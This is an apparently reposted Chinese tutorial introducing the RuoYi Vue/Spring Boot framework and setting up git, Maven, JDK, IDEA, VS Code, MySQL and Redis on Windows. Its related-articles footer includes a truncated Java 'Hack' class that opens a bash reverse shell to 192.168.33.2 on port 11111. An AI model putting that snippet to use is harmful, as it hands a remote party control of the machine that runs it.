1.若依框架介绍与环境搭建

news2024/12/23 17:16:57

文章目录

  • 若依框架介绍
    • 官网地址
    • 相关技术栈
  • 环境搭建
    • 1.git
      • 介绍
      • 下载与安装
      • 学习资料
    • 2.maven
      • 介绍与下载
      • 环境变量
      • 配置
      • 资料学习
    • 3.node
    • 4.java
    • 5.idea
    • 6.vscode
    • 7.mysql
      • 可视化工具HeidiSql
    • 8.redis
      • 参考资料
      • 遇到问题

若依框架介绍

官网地址

若依框架官网地址:http://www.ruoyi.vip/
gitee地址:https://gitee.com/y_project/RuoYi-Vue

相关技术栈

若依是一套全部开源的快速开发平台,毫无保留给个人及企业免费使用。

  • 前端采用Vue、Element UI。
  • 后端采用Spring Boot、Spring Security、Redis & Jwt。
  • 权限认证使用Jwt,支持多终端认证系统。
  • 支持加载动态权限菜单,多方式轻松权限控制。
  • 高效率开发,使用代码生成器可以一键生成前后端代码。
  • 提供了技术栈(Vue3 Element Plus Vite)版本RuoYi-Vue3,保持同步更新。
  • 提供了单应用版本RuoYi-Vue-fast,Oracle版本RuoYi-Vue-Oracle,保持同步更新。
  • 不分离版本,请移步RuoYi,微服务版本,请移步RuoYi-Cloud

注意:前端分为vue2和vue3的版本,上文中的gitee地址默认是vue2

环境搭建

1.git

介绍

git是一个代码的版本控制工具,可以在团队协作中进行代码的版本控制

下载与安装

下载地址:https://git.p2hp.com/
注意:安装完之后要win + r 呼出运行窗口,输入cmd,然后验证git --version指令,查看是否安装成功,并成功配置环境变量。
在这里插入图片描述
如果没有配置环境变量,自行在环境变量中进行配置。如下图。

环境变量路径
GIT_HOMED:\env\Git
Path%GIT_HOME%\bin;%GIT_HOME%\cmd

学习资料

https://www.liaoxuefeng.com/wiki/896043488029600 廖雪峰的官方网站

2.maven

介绍与下载

Maven最新版是款项目管理和构建自动化工具。官方下载地址:http://maven.apache.org/ ,点击下图红框进行下载。
在这里插入图片描述

环境变量

新建系统变量 MAVEN_HOME,变量值:D:\Maven\apache-maven-3.8.4。
然后在path中添加,如下。
在这里插入图片描述
控制台测试:mvn -v
在这里插入图片描述

配置

  • 配置本地仓库位置
    打开maven目录下的conf\settings.xml文件,默认如下,保存到用户目录下,一般在c盘。
    在这里插入图片描述
    改为你的其它盘的存储目录,建议跟maven目录同级,起名maven-repo:
    在这里插入图片描述

  • 配置阿里云镜像
    打开maven目录下的conf\settings.xml文件,找到标签,然后将下面代码,配置到maven官方仓库的上方,就可以启用阿里云仓库了。

<mirror>
    <id>aliyunmaven</id>
    <mirrorOf>*</mirrorOf>
    <name>阿里云公共仓库</name>
    <url>https://maven.aliyun.com/repository/public</url>
</mirror>

如下图所示:
在这里插入图片描述

资料学习

https://blog.csdn.net/weixin_44458365/article/details/118416385 史上最详细的Maven教程!——深入理解Maven系列
https://developer.aliyun.com/article/1076262 设置阿里云镜像

3.node

4.java

按照若依的技术栈要求,最少要求java8以上的版本。现在下载jdk如果是去官网,那么需要登陆oracle的账号才可以。可以从其它的第三方网站下载jdk。华为jdk网站:https://repo.huaweicloud.com/java/jdk/
配置环境变量如下:

环境变量路径
JAVA_HOMED:\env\jdk1.8.0_291
ClassPath.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
Path%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin

5.idea

官网地址:https://www.jetbrains.com/ 。这是一个编程用的全家桶,如下图所示,支持多种语言的多个ide。
在这里插入图片描述
我们开发java后端,使用intellij idea就可以了,效率也不错,同样有很多好用的插件,后面有专门一章会讲到。安装也很简单,全程下一步,版本分为社区版和收费版,我们用社区版就足够了。

6.vscode

官方地址:https://code.visualstudio.com/ ,这是一个写前端的神器,效率起飞,有很多好用的插件,后面会专门有一张讲这些插件的设置。进入官网之后,就能看到下载链接,直接下载,不需要配置环境变量这些操作。全程下一步即可。vscoee的使用主要是插件的使用。

7.mysql

从mysql官网下载5.7版本,个人更钟爱这个稳定版本,然后安装即可,用win系统的不建议受虐去自己配置式安装,直接下载msi文件安装即可。安装完成之后,不用配置环境变量,开发环境mysql的使用不会通过控制台。mysql官网:https://www.mysql.com/。下载地址:https://dev.mysql.com/downloads/installer/。如下图:
在这里插入图片描述

可视化工具HeidiSql

官方地址:https://www.heidisql.com/,这是一个开源免费的软件。
在这里插入图片描述

8.redis

redis是一个k-v内存数据库。官方网站:https://redis.io/。下载地址:https://redis.io/download/。windows版本不直接被官方支持,可以使用第三方的windows版本,不过版本肯定不是最新的。第三方支持win的下载地址:https://github.com/tporadowski/redis/releases。

参考资料

https://blog.csdn.net/B11050729/article/details/131185533

遇到问题

http://m.weizhi.cc/tech/detail-330088.html 无法启动

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974553.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

stm32 学习笔记:GPIO输出

一、GPIO简介 引脚电平 0-3.3V,部分可容忍5V&#xff0c;对输出而言最大只能输出3.3V, 只要可以用高低电平来控制的地方&#xff0c;都可以用GPIO来完成&#xff0c;如果控制的功率比较大的设备&#xff0c;只需加入驱动电路即可 GPIO 通用输入输出口&#xff0c;可配置为 8种 …

【程序员必知必会3】你还不懂ClickHouse和Hive的区别?!

ClickHouse和Hive究竟哪些区别 ClickHouse和Hive都是用于大数据处理和分析的分布式存储和计算系统&#xff0c;但它们之间存在一些区别&#xff1a; 架构&#xff1a;ClickHouse采用列式存储和向量化执行引擎&#xff0c;可以实现亚秒级别的数据查询。而Hive采用基于Hadoop的数…

Nancy2.0引入Swagger并设置其为嵌入的资源

因为项目需求&#xff0c;需要在Nancy的基础上引入Swagger&#xff0c;万能的互联网上有现成的方案&#xff0c; 方案写的很详细&#xff0c;实际按文档也成功的实现了相应的功能&#xff0c;但因为我是在基础dll里包含了该功能&#xff0c;所以我希望swagger-ui是作为嵌入的资…

实时操作系统Freertos开坑学习笔记:(七):队列

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、队列是什么&#xff1f;而在freertos中&#xff0c;队列是什么呢&#xff1f;①如果要进行中断、任务的交流&#xff0c;那我用全局变量行吗&#xff1f;②…

VMware虚拟机安装_新虚拟机创建_CentOS镜像导入_linux指令基本操作

文章目录 1 VMware下载安装1.1 下载网址1.2 安装步骤 2 创建虚拟机与CentOS镜像导入2.1 创建新虚拟机2.2 导入CentOS镜像 3 获取ip与连接Xshell3.1 查看虚拟机ip地址3.2 Xshell使用 1 VMware下载安装 1.1 下载网址 https://www.vmware.com/cn/products/workstation-pro/works…

MySQL的虚拟字段

MySQL中的虚拟字段指的是不实际存在于表中的逻辑字段,它们是在查询时由一些函数或表达式临时生成的。 参数&#xff1a;虚拟类型 在 MySQL 中,字段类型可以分为存储类型(Stored)和虚拟类型(Virtual)。存储类型是指实际存储在表中的数据类型,如 INT, VARCHAR, TEXT …

vue3 判断包含某个字符

<img v-if"node.level 1 && checkIfIncludeSubStr(node.label, 人口)"src"/assets/images/icon-convention-01.png" width"16"class"inlineBlock Vmiddle" style"margin-right: 8px;"/>const data reactive…

redis核心数据结构

redis下载地址&#xff1a;Download | Redis linux进入redis目录首先使用make命令进行c的编译&#xff0c;修改redis.conf文件&#xff1a; daemonize yes #后台启动 protected-mode no #关闭保护模式&#xff0c;开启的 # 需要注释掉bind #bind 127.0.0.1&#xff08;bind…

客户案例 | 华苑园林 移动SRM 集成ERP+电子签章,打通数字化最后一公里

公司简介 广州华苑园林股份有限公司始创于1995年&#xff0c;总部设立在广州&#xff0c;是集园林景观设计、工程施工、绿化养护、苗木生产与销售于一体的综合性、跨地区的大型园林企业。拥有城市园林绿化一级施工资质、风景园林设计专项乙级资质、环保工程专业承包叁级资质、…

优先级队列priority_queue以及仿函数的使用

目录 优先级队列priority_queuepriority_queue的模拟实现仿函数 优先级队列priority_queue 优先级队列priority_queue是一种容器适配器&#xff0c;根据严格的弱排序标准&#xff0c;它默认第一个元素总是它所包含的元素中最大的 优先级队列默认使用vector作为底层存储数据的…

《Effective软件测试》:让你的软件研发质量提升10倍的秘籍

前言&#xff1a; 软件测试是软件研发过程中不可或缺的一环&#xff0c;它关系到软件的功能、性能、安全和用户体验。然而&#xff0c;很多软件开发者和测试人员对软件测试的理解和实践还存在很多误区和不足&#xff0c;导致软件测试的效率和效果不尽人意&#xff0c;甚至造成软…

Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滑动窗口平滑、移动平均、可视化...

全文链接&#xff1a;https://tecdat.cn/?p33550 时间序列是一系列按时间顺序排列的观测数据。数据序列可以是等间隔的&#xff0c;具有特定频率&#xff0c;也可以是不规则间隔的&#xff0c;比如电话通话记录&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。…

mysql索引为什么提高查询速度(底层原理)

一、索引原理图 二、索引数据存储到硬盘而不是内存&#xff1f; 硬盘内存 成本低成本高 容量大容量小 读写速度一般读取速度快 断电后数据永久存储断电后数据清空 三、硬盘数据为什么要读取到内存&#xff1f;为啥不直接…

如何查看 SQLyog 中数据库连接信息中的密码

SQLyog 数据库连接信息中的密码无法选择明文展示&#xff0c;也无法复制 可以将数据库连接信息导出到文本查看明文密码 工具--》导入/导出连接详情&#xff1a;

软件设计模式系列之一——设计模式概述

1 设计模式的由来和概念 设计模式最早出现在建筑行业&#xff0c;是一位建筑领域的大牛&#xff0c;针对不同建筑物的建造方法进行了总结&#xff0c;针对类型相似的建筑场景&#xff0c;将较好的解决方案进行比较&#xff0c;提取了其中共性的套路规范&#xff0c;形成一定的设…

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日&#xff0c;“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」&#xff0c;会上正式揭晓了「2023数字化运营生态大奖」的四大榜单&#xff0c;体验家XMPlus荣获「年度数智经营服务商」&#xff01;现场有800运营伙伴齐聚&#…

react中使用Modal.confirm数据不更新的问题解决

在使用Modal.confirm的时候今天发现了个疑惑的问题&#xff0c;为什么我明明从新set了数据而页面视图没有变化&#xff0c;查了一下官方文档找到了答案&#xff0c;解决了这个问题&#xff0c;特意在这里留下痕迹。 import { Button, Col, Form, Input, Modal, Radio, Row, Se…

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示&#xff0c;但是最近一段时间&#xff0c;发现串口无法正常显示&#xff0c;试了很多办法都不行&#xff0c; 然后今天干好有点时间就刷了个机&#xff0c;然后居然就好了&#xff0c; 这就说明&#xff1a;Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312&#xff08;全称&#xff1a;中国国家标准GB2312-80字符集&#xff09;和UTF-8&#xff08;全称&#xff1a;Unicode Transformation Format 8-bit&#xff09;是两种常见的字符编码方案。它们分别用于对文本进行编码&#xff0c;以在计算机系统和…